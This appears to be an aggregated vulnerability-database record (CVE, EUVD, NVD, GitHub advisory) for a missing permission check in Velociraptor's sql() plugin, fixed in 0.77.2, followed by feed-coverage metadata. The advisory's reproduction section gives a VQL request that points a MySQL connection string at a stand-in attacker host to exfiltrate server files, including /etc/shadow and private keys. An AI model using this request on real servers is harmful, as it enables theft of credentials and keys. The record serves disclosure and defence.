{"id":"EUVD-2026-118460","revision":null,"records":[{"revision":"6bd69ac8ba3f4cceb95cf51679751ab4","observedAt":"2026-11-10T22:21:22.279+00:00","statement":{"source":"cve-program","id":"CVE-2026-85737","aliases":[],"title":"Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin","description":"Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2.","state":0,"publishedAt":"2026-11-06T20:23:33.445+00:00","modifiedAt":"2026-11-10T20:09:49.636+00:00","affected":[{"ecosystem":"Vendor product","name":"velociraptor","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Velocidex\",\n                    \"product\": \"velociraptor\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.77.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/Velocidex/velociraptor/security/advisories/GHSA-9qq5-422f-33c2","https://github.com/Velocidex/velociraptor/pull/4952","https://github.com/Velocidex/velociraptor/commit/d7de958e846d3742a7a3a8538fd463e4f12fc528","https://github.com/Velocidex/velociraptor/commit/f25390f8fbd00c888f0b7aaba2c061a51c3f7082","https://github.com/Velocidex/velociraptor/releases/tag/v0.77.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-85737","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-85737","identifiers":["CVE-2026-85737"]},"retained":false,"historicalAffected":[]},{"revision":"a9f1b338e9c14dfcbd0a5ce4c3891823","observedAt":"2026-11-16T01:39:32.378+00:00","statement":{"source":"euvd","id":"EUVD-2026-118460","aliases":["CVE-2026-85737","GHSA-9qq5-422f-33c2"],"title":"Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks be…","description":"Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"severity":null}],"references":["https://github.com/Velocidex/velociraptor/security/advisories/GHSA-9qq5-422f-33c2","https://github.com/Velocidex/velociraptor/pull/4952","https://github.com/Velocidex/velociraptor/commit/d7de958e846d3742a7a3a8538fd463e4f12fc528","https://github.com/Velocidex/velociraptor/commit/f25390f8fbd00c888f0b7aaba2c061a51c3f7082","https://github.com/Velocidex/velociraptor/releases/tag/v0.77.2"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-118460","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Nov 6, 2026, 8:23:33 PM","dateUpdated":"Nov 10, 2026, 8:09:49 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-118460","identifiers":["EUVD-2026-118460","CVE-2026-85737","GHSA-9qq5-422f-33c2"]},"retained":false,"historicalAffected":[]},{"revision":"260ce209902945e8b6b3186e46bf1e88","observedAt":"2026-11-13T23:59:06.578+00:00","statement":{"source":"nvd","id":"CVE-2026-85737","aliases":[],"title":"Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks be…","description":"Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2.","state":0,"publishedAt":"2026-11-06T21:17:11.94+00:00","modifiedAt":"2026-11-12T22:18:51.47+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/Velocidex/velociraptor/commit/d7de958e846d3742a7a3a8538fd463e4f12fc528","https://github.com/Velocidex/velociraptor/commit/f25390f8fbd00c888f0b7aaba2c061a51c3f7082","https://github.com/Velocidex/velociraptor/pull/4952","https://github.com/Velocidex/velociraptor/releases/tag/v0.77.2","https://github.com/Velocidex/velociraptor/security/advisories/GHSA-9qq5-422f-33c2"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85737","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-862"],"productCriteria":[],"sourceDates":{"published":"2026-11-06T21:17:11.940","lastModified":"2026-11-12T22:18:51.470"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-85737","identifiers":["CVE-2026-85737"]},"retained":false,"historicalAffected":[]},{"revision":"ded4ecab11844e28923186989bf626c4","observedAt":"2026-11-09T23:04:27.387+00:00","statement":{"source":"osv","id":"GHSA-9qq5-422f-33c2","aliases":["CVE-2026-85737"],"title":"Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin","description":"## Summary\n\nThe `sql()` VQL plugin runs a caller-supplied database driver and connection string with no permission check (`vql/parsers/sql/sql.go:93`, `SQLPlugin.Call`). For `driver='mysql'` or `driver='postgres'` the handle comes from `GetHandleOther` (`sql.go:39`), which passes the connection string straight to Go `database/sql` `sql.Open` (`sql.go:51`) and executes the query (`sql.go:159`).\n\nThe plugin declares `FILESYSTEM_READ` only as `Info().Permissions` metadata (`sql.go:219`). That metadata is never consulted at runtime: `metadata.go:19` stores it as a string that only the documentation exporter reads (`api/reflect.go:82-110`). Every sibling network plugin (`http_client`, `netcat`, `s3`, `rsyslog`) calls `CheckAccess(acls.NETWORK)` in its own body; `sql()` calls nothing.\n\nThe built-in `analyst` role holds `ANY_QUERY` but not `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), and reaches this sink through the notebook query API.\n\nResult: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server's `LOAD DATA LOCAL INFILE`, reads any file the root-running server can read, including the deployment CA private key.\n\n## Affected\n\n- Velocidex/velociraptor server, `<= v0.77.1` (latest release, 2026-06-23). Identical vulnerable code in `master` HEAD `1961e79` (2026-07-17).\n- Confirmed live-exploitable on the official `ghcr.io/velocidex/velociraptor-server:latest` image (build 0.77.1, commit bbe2a58).\n- Stock install, default Basic authenticator, any built-in `analyst`, `investigator`, or `api` role (all hold `ANY_QUERY`, none holds `FILESYSTEM_READ` or `NETWORK`).\n- No non-default flag required.\n\n## Root cause\n\n`SQLPlugin.Call` (`vql/parsers/sql/sql.go:93`) parses the caller `driver`, `connstring`, and `query` arguments and reaches `handle.Query` (`sql.go:159`) without any `vql_subsystem.CheckAccess` call in its body. For `driver='mysql'` or `driver='postgres'` the handle comes from `GetHandleOther` (`sql.go:39`), which hands the attacker connection string to `sql.Open` (`sql.go:51`), so the plugin dials an arbitrary host and, through the MySQL client `LOAD DATA LOCAL INFILE` feature, reads local files. The plugin states its intended gate only as metadata, `VQLMetadata().Permissions(acls.FILESYSTEM_READ)` (`sql.go:219`), but `MetadataBuilder.Permissions` merely stores a string (`vql/metadata.go:19`) that is read only by the reflection exporter (`api/reflect.go:82-110`), never by the query engine. Every sibling network plugin enforces `CheckAccess(acls.NETWORK)` in its own body, so the omission in `sql()` is an enforcement oversight. The default `analyst` role grants `ANY_QUERY` without `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), so a user the operator deliberately restricted still reaches the ungated sink.\n\nNote on intent: `acls/acls.go` documents that specific permission combinations grant admin-equivalent power (`SERVER_ARTIFACT_WRITER` with `COLLECT_SERVER`, `ARTIFACT_WRITER` with `COLLECT_CLIENT`), but the `analyst` role holds none of them and is denied `EXECVE`, `NETWORK`, and `FILESYSTEM_READ` on every sibling plugin. If `ANY_QUERY` is nonetheless intended as trusted, the plugin's own `Permissions(FILESYSTEM_READ)` metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check.\n\n## Reproduction\n\n`ghcr.io/velocidex/velociraptor-server:latest` (v0.77.1), default config, GUI on `https://localhost:8889`, one built-in `analyst` user.\n\n1) As `analyst`, confirm the control: the gated accessor denies the read.\n\n    sql(driver='sqlite', accessor='file', file='/etc/passwd', query='SELECT 1')\n    => sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEM_READ]\n\n2) Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a `LOAD DATA LOCAL INFILE <target>` packet.\n\n3) As the same `analyst`, call the ungated branch through the notebook query API:\n\n    POST /api/v1/UpdateNotebookCell   (Basic auth + x-csrf-token)\n    {\"type\":\"vql\",\"input\":\"SELECT * FROM sql(driver='mysql',\n      connstring='x:y@tcp(<ATTACKER>:4499)/z?allowAllFiles=true', query='SELECT 1')\"}\n\nThe rogue server receives the file:\n\n    QUERY: 'SELECT 1'\n    EXFIL 12860 bytes  /etc/velociraptor/server.config.yaml\n      contains: CA private_key, gw_private_key, Frontend private_key\n\nLive-verified: analyst `pocdemo` exfiltrated `/etc/passwd`, `/etc/shadow` (mode 0600), and `server.config.yaml`, each sha256 byte-identical to `docker exec sha256sum`, while `http_client()` on the same account returns `PermissionDenied: [NETWORK]`.\n\n## Impact\n\n* CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint.\n* Any root-readable file on the server host disclosed (`/etc/shadow`, datastore user records with password hashes, cross-tenant `orgs` data).\n* Arbitrary outbound TCP from the server host through the same sink and the `upload_sftp`, `upload_smb`, `upload_azure`, `upload_gcs` plugins.\n* Root-owned file creation at any path via the `sqlite` branch (zero-permission `data` accessor plus an in-query `ATTACH DATABASE`).\n* Triggered by the lowest built-in query role, default config, one query, no admin interaction.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://www.turingpoint.de) (jan@turingpoint.de)","state":0,"publishedAt":"2026-11-09T22:25:14+00:00","modifiedAt":"2026-11-09T22:30:04.0787975+00:00","affected":[{"ecosystem":"Go","name":"www.velocidex.com/golang/velociraptor","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.77.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/Velocidex/velociraptor/security/advisories/GHSA-9qq5-422f-33c2","https://nvd.nist.gov/vuln/detail/CVE-2026-85737","https://github.com/Velocidex/velociraptor/pull/4952","https://github.com/Velocidex/velociraptor/commit/d7de958e846d3742a7a3a8538fd463e4f12fc528","https://github.com/Velocidex/velociraptor/commit/f25390f8fbd00c888f0b7aaba2c061a51c3f7082","https://github.com/Velocidex/velociraptor","https://github.com/Velocidex/velociraptor/releases/tag/v0.77.2"],"sourceUrl":"https://github.com/advisories/GHSA-9qq5-422f-33c2","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9qq5-422f-33c2","identifiers":["GHSA-9qq5-422f-33c2","CVE-2026-85737"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-16T22:28:24.4991351+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-16T22:28:24.4991351+00:00","lastSuccessAt":"2026-11-16T22:28:24.7043575+00:00","error":null,"lastVerifiedAt":"2026-11-16T22:28:24.7043586+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-6be044d0e08779dadd136f949a536de4047af96f5d7bceb7e190ecffbb8f18ca-ab503f9090500b9c00a37f872f1b5d75fdf63c0433c081f17e896b89bc1acb9c","complete":true,"records":426221,"lastAttemptAt":"2026-11-16T23:26:27.8678088+00:00","lastSuccessAt":"2026-11-16T23:26:27.6596772+00:00","error":null,"lastVerifiedAt":"2026-11-16T23:26:27.8678088+00:00","snapshotPublishedAt":"2026-11-16T22:28:30+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a154cbc1da6344eebf61cc2b79e84032","complete":true,"records":13831,"lastAttemptAt":"2026-11-16T22:29:29.8673047+00:00","lastSuccessAt":"2026-11-16T22:29:29.864+00:00","error":null,"lastVerifiedAt":"2026-11-16T22:29:29.864+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13885,"expectedIdentifiers":13885,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-16T22:28:24.4991351+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-16T22:28:24.4991351+00:00","lastSuccessAt":"2026-11-16T22:28:24.7050614+00:00","error":null,"lastVerifiedAt":"2026-11-16T22:28:24.7050618+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e852cf3f102d4dfc8420eba9ed8027fd","complete":false,"records":13844,"lastAttemptAt":"2026-11-16T22:28:51.1313357+00:00","lastSuccessAt":"2026-11-16T22:28:51.121+00:00","error":"10 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-16T22:28:51.121+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13574,"expectedIdentifiers":13885,"failedIdentifiers":10},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-16T22:28:24.3319179+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-16T22:28:24.3319179+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-16T23:26:29.0570388+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-16T23:26:29.0570388+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-16T22:28:24.4567855+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-16T22:28:24.4567855+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-879bf87060e1e5a31d5f9d7958b545032385ae9cf57c2a5b470e1d57f9693bf8","complete":true,"records":232556,"lastAttemptAt":"2026-11-16T22:28:24.1750579+00:00","lastSuccessAt":"2026-11-16T22:28:22.9672905+00:00","error":null,"lastVerifiedAt":"2026-11-16T22:28:24.1750579+00:00","snapshotPublishedAt":"2026-11-16T22:18:40+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}